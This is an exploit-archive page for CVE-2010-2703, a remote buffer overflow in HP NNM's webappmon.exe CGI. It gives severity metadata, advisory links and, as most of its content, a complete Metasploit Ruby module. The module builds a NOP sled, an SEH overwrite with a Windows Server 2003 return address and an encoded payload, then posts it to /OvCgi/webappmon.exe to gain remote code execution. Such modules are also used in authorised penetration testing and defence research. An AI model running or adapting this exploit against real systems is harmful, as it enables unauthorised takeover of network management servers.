HP NNM CGI webappmon.exe execvp Buffer Overflow

2011.03.30
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info={}) super(update_info(info, 'Name' => "HP NNM CGI webappmon.exe execvp Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow in HP NNM's webappmon.exe. The vulnerability occurs when function "execvp_nc" fails to do any bounds- checking before strcat is used to append user-supplied input to a buffer. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12086 $", 'Author' => [ 'shahin <shahin[at]abysssec.com>', 'sinn3r', ], 'References' => [ ['CVE', '2010-2703'], ['OSVDB', '66514'], ], 'Payload' => { 'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, }, 'DefaultOptions' => { 'ExitFunction' => "seh", 'AutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ], ], 'DisclosureDate' => "SEP 6 2010")) register_options( [ Opt::RPORT(80), ], self.class) end def exploit nops = make_nops(1000)*10 sploit = nops[0, 5455] sploit << generate_seh_record(target.ret) sploit << "\x61"*13 sploit << "\x51" sploit << "\xc3" sploit << nops[0, 57] sploit << payload.encoded sploit << nops[0, 10000-sploit.length] post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1" connect print_status("Sending malicious request...") send_request_raw({ 'uri' => '/OvCgi/webappmon.exe', 'data' => post_data, 'version' => '1.1', 'method' => 'POST', 'headers' => { 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'en-us,en;q=0.5', 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive' => '300', 'Connection' => 'Keep-Alive', 'Cache-Control' => 'max-age=0', 'Content-Length' => post_data.length, 'Content-Type' => 'application/x-www-form-urlencoded', } }, 3) handler disconnect end end

References:

http://marc.info/?l=bugtraq&m=127973001009749&w=2
http://marc.info/?l=bugtraq&m=127973001009749&w=2
http://www.vupen.com/english/advisories/2010/1866
http://www.securitytracker.com/id?1024238
http://www.securitytracker.com/id?1024224
http://www.securityfocus.com/bid/41829
http://www.securityfocus.com/archive/1/archive/1/512552/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/512544/100/0/threaded
http://www.exploit-db.com/exploits/14916
http://www.attrition.org/pipermail/vim/2010-July/002374.html
http://secunia.com/advisories/40686
http://osvdb.org/66514


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